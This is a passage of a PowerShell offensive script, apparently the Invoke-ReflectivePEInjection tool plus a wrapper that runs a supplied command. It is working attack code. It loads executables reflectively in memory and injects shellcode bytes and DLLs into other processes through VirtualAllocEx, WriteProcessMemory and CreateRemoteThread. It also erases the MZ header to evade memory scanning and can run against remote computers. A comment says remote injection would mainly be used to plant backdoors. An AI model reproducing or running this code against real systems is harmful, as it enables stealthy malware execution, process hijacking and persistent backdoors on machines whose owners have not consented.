        if ($PEInfo.FileType -ieq "DLL")
        {
            if ($RemoteLoading -eq $false)
            {
                Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
                $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
                $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
                $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
                
                $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
            }
            else
            {
                $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
            
                if ($PEInfo.PE64Bit -eq $true)
                {
                    #Shellcode: CallDllMain.asm
                    $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
                    $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
                    $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
                }
                else
                {
                    #Shellcode: CallDllMain.asm
                    $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
                    $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
                    $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
                }
                $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
                $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
                $SCPSMemOriginal = $SCPSMem
                
                Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
                [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
                Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
                [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
                Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
                $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
                
                $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
                if ($RSCAddr -eq [IntPtr]::Zero)
                {
                    Throw "Unable to allocate memory in the remote process for shellcode"
                }
                
                $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
                if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
                {
                    Throw "Unable to write shellcode to remote process memory."
                }

                $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
                $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
                if ($Result -ne 0)
                {
                    Throw "Call to CreateRemoteThread to call GetProcAddress failed."
                }
                
                $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
            }
        }
        elseif ($PEInfo.FileType -ieq "EXE")
        {
            #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process
            [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
            [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
            $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr

            #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
            #   This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
            [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
            Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in."

            $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null

            while($true)
            {
                [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
                if ($ThreadDone -eq 1)
                {
                    Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
                    Write-Verbose "EXE thread has completed."
                    break
                }
                else
                {
                    Start-Sleep -Seconds 1
                }
            }
        }
        
        return @($PEInfo.PEHandle, $EffectivePEHandle)
    }
    
    
    Function Invoke-MemoryFreeLibrary
    {
        Param(
        [Parameter(Position=0, Mandatory=$true)]
        [IntPtr]
        $PEHandle
        )
        
        #Get Win32 constants and functions
        $Win32Constants = Get-Win32Constants
        $Win32Functions = Get-Win32Functions
        $Win32Types = Get-Win32Types
        
        $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
        
        #Call FreeLibrary for all the imports of the DLL
        if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
        {
            [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
            
            while ($true)
            {
                $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
                
                #If the structure is null, it signals that this is the end of the array
                if ($ImportDescriptor.Characteristics -eq 0 `
                        -and $ImportDescriptor.FirstThunk -eq 0 `
                        -and $ImportDescriptor.ForwarderChain -eq 0 `
                        -and $ImportDescriptor.Name -eq 0 `
                        -and $ImportDescriptor.TimeDateStamp -eq 0)
                {
                    Write-Verbose "Done unloading the libraries needed by the PE"
                    break
                }

                $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
                $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)

                if ($ImportDllHandle -eq $null)
                {
                    Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
                }
                
                $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
                if ($Success -eq $false)
                {
                    Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
                }
                
                $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
            }
        }
        
        #Call DllMain with process detach
        Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
        $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
        $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
        $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
        
        $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
        
        
        $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
        if ($Success -eq $false)
        {
            Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
        }
    }


    Function Main
    {
        $Win32Functions = Get-Win32Functions
        $Win32Types = Get-Win32Types
        $Win32Constants =  Get-Win32Constants
        
        $RemoteProcHandle = [IntPtr]::Zero
    
        #If a remote process to inject in to is specified, get a handle to it
        if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
        {
            Throw "Can't supply a ProcId and ProcName, choose one or the other"
        }
        elseif ($ProcName -ne $null -and $ProcName -ne "")
        {
            $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
            if ($Processes.Count -eq 0)
            {
                Throw "Can't find process $ProcName"
            }
            elseif ($Processes.Count -gt 1)
            {
                $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
                Write-Output $ProcInfo
                Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
            }
            else
            {
                $ProcId = $Processes[0].ID
            }
        }
        
        #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.
        #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
#       if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
#       {
#           Write-Verbose "Getting SeDebugPrivilege"
#           Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
#       }   
        
        if (($ProcId -ne $null) -and ($ProcId -ne 0))
        {
            $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
            if ($RemoteProcHandle -eq [IntPtr]::Zero)
            {
                Throw "Couldn't obtain the handle for process ID: $ProcId"
            }
            
            Write-Verbose "Got the handle for the remote process to inject in to"
        }
        

        #Load the PE reflectively
        Write-Verbose "Calling Invoke-MemoryLoadLibrary"
        $PEHandle = [IntPtr]::Zero
        if ($RemoteProcHandle -eq [IntPtr]::Zero)
        {
            $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
        }
        else
        {
            $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
        }
        if ($PELoadedInfo -eq [IntPtr]::Zero)
        {
            Throw "Unable to load PE, handle returned is NULL"
        }
        
        $PEHandle = $PELoadedInfo[0]
        $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process
        
        
        #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.
        $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
        if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
        {
            #########################################
            ### YOUR CODE GOES HERE
            #########################################
            switch ($FuncReturnType)
            {
                'WString' {
                    Write-Verbose "Calling function with WString return type"
                    [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
                    if ($WStringFuncAddr -eq [IntPtr]::Zero)
                    {
                        Throw "Couldn't find function address."
                    }
                    $WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
                    $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
                    [IntPtr]$OutputPtr = $WStringFunc.Invoke()
                    $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
                    Write-Output $Output
                }

                'String' {
                    Write-Verbose "Calling function with String return type"
                    [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
                    if ($StringFuncAddr -eq [IntPtr]::Zero)
                    {
                        Throw "Couldn't find function address."
                    }
                    $StringFuncDelegate = Get-DelegateType @() ([IntPtr])
                    $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
                    [IntPtr]$OutputPtr = $StringFunc.Invoke()
                    $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
                    Write-Output $Output
                }

                'Void' {
                    Write-Verbose "Calling function with Void return type"
                    [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
                    if ($VoidFuncAddr -eq [IntPtr]::Zero)
                    {
                        Throw "Couldn't find function address."
                    }
                    $VoidFuncDelegate = Get-DelegateType @() ([Void])
                    $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
                    $VoidFunc.Invoke() | Out-Null
                }
            }
            #########################################
            ### END OF YOUR CODE
            #########################################
        }
        #For remote DLL injection, call a void function which takes no parameters
        elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
        {
            $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
            if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
            {
                Throw "VoidFunc couldn't be found in the DLL"
            }
            
            $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
            $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
            
            #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
            $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
        }
        
        #Don't free a library if it is injected in a remote process or if it is an EXE.
        #Note that all DLL's loaded by the EXE will remain loaded in memory.
        if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
        {
            Invoke-MemoryFreeLibrary -PEHandle $PEHandle
        }
        else
        {
            #Delete the PE file from memory.
            $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
            if ($Success -eq $false)
            {
                Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
            }
        }
        
        Write-Verbose "Done!"
    }

    Main
}

#Main function to either run the script locally or remotely
Function Main
{
    if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
    {
        $DebugPreference  = "Continue"
    }
    
    Write-Verbose "PowerShell ProcessID: $PID"
    
    #Verify the image is a valid PE file
    $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''

    if ($e_magic -ne 'MZ')
    {
        throw 'PE is not a valid PE file.'
    }

    if (-not $DoNotZeroMZ) {
        # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg
        # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be.
        $PEBytes[0] = 0
        $PEBytes[1] = 0
    }
    
    #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1)
    if ($ExeArgs -ne $null -and $ExeArgs -ne '')
    {
        $ExeArgs = "ReflectiveExe $ExeArgs"
    }
    else
    {
        $ExeArgs = "ReflectiveExe"
    }

    if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
    {
        Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
    }
    else
    {
        Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
    }
}

Main
}
write-host ("[+] Executing Command: "+$Command)  -foregroundcolor "Green"
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs $Command 
write-host ("[+] Done !")  -foregroundcolor "Green"
}